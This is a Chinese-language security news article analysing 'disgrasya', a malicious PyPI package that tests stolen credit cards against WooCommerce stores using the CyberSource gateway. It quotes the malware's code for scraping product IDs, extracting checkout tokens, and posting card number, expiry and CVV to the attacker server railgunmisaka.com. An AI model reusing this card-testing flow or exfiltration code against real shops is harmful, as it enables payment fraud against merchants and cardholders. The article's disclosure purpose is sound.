章
目
录
最近,在Python仓库里出现了一个十分棘手的恶意Python包,名叫“disgrasya”。这个名字在菲律宾俚语里是“灾难”的意思,而它也确实给电子商务系统带来了不小的灾难,因为它包含一个专门针对WooCommerce商店的全自动信用卡盗刷脚本。借助这个恶意包,攻击者就算没有太多专业技术,也能在真实的电商支付系统里测试被盗的信用卡信息。
一、恶意包的特点与危害范围
与常见的供应链攻击手段不同,“disgrasya”并没有采用域名仿冒或者欺骗性命名这类手段来掩盖自己的恶意目的。它明目张胆地成为欺诈者验证被盗信用卡信息的工具。Socket.dev的研究人员发现,在这个恶意包被发现之前,它的下载量已经超过了34860次,传播范围相当广泛。而且,恶意负载从7.36.9版本开始出现,后续的所有版本都保留了同样的攻击逻辑。这意味着它很可能已经在大量的欺诈活动中被使用,给企业带来了严重的财务威胁。
据行业研究估计,在2023年到2028年期间,全球在线支付欺诈会让商家损失超过3620亿美元。其中,年度损失从2023年的380亿美元几乎翻倍,到2028年预计会达到910亿美元,增长幅度高达140%。而“disgrasya”引发的信用卡盗刷攻击,无疑是这一严峻形势下的又一重大威胁。它专门瞄准了使用WooCommerce并以CyberSource作为支付网关的商家,给这些广泛应用的电商系统开辟了一条危险的攻击通道。
二、攻击机制:多阶段结账模拟过程
这个恶意软件的攻击过程是经过精心策划的,通过多阶段流程来模拟合法顾客的行为,进而验证被盗的信用卡信息。下面详细看看它的攻击步骤:
(一)识别商品
一开始,脚本会通过发送简单的GET请求,并解析HTML内容来提取产品ID,以此在目标WooCommerce商店里找到商品。代码如下:
url = f”https://{domain}/?=&post_type=product”
response = session.get(url, proxies=proxy)
split_text = response.text.split(‘data-product_id=”‘)
id = split_text[1].split(‘”‘)[0]
这里,脚本先构造了一个包含目标域名和特定请求参数的URL,然后使用session.get
方法发送GET请求获取网页内容。接着,通过字符串分割的方式,从获取到的网页文本中提取出商品的ID。
(二)添加商品到购物车
识别完商品后,脚本会模仿正常的购物流程,通过WooCommerce的AJAX端点把商品添加到购物车。
(三)提取关键安全令牌
随后,脚本会从结账页面提取两个关键的安全令牌——CSRF随机数和CyberSource capture_context,这两个令牌对于合法支付的处理至关重要。相关代码如下:
url = f”https://{domain}/checkout/”
response = session.get(url, proxies=proxy)
checkoutNonce = response.text.split(‘name=”woocommerce-process-checkout-nonce” value=”‘)[1].split(‘”‘)
capture_context = response.text.split(‘”capture_context”:”‘)[1].split(‘”‘)[0]
同样是先构造结账页面的URL并发送请求获取页面内容,然后利用字符串分割操作,分别从页面文本中提取出CSRF随机数和CyberSource capture_context。
(四)泄露信用卡数据
最危险的一步来了,被盗的信用卡数据会被发送到攻击者控制的服务器(railgunmisaka.com)。在提交到支付网关之前,这些数据还会被进行令牌化处理。代码如下:
url = “https://www.railgunmisaka.com/cybersourceFlexV2”
headers = {
“Accept”: “application/json”,
“Content-Type”: “application/json”
}
data = {
“card”: f”{cc}|{mm}|{yy}|{cvv}”,
“capture_context”: capture_context
}
脚本构造了向攻击者服务器发送数据的URL和请求头,把包含信用卡信息(卡号cc
、有效期月份mm
、有效期年份yy
、安全码cvv
)和之前提取的capture_context
数据组织成请求体,然后发送出去。
整个攻击过程完美地模拟了正常顾客从浏览商品到完成支付的所有行为,每一步都符合正常用户的操作模式,这使得欺诈检测系统很难识别和拦截。而且,脚本还会使用随机生成的顾客信息,对于交易成功和失败的情况也能妥善处理,进一步增加了检测的难度。
虽然目前这个恶意包已经从PyPI中被移除了,但是这种攻击技术依然存在,很可能会换个包名再次出现。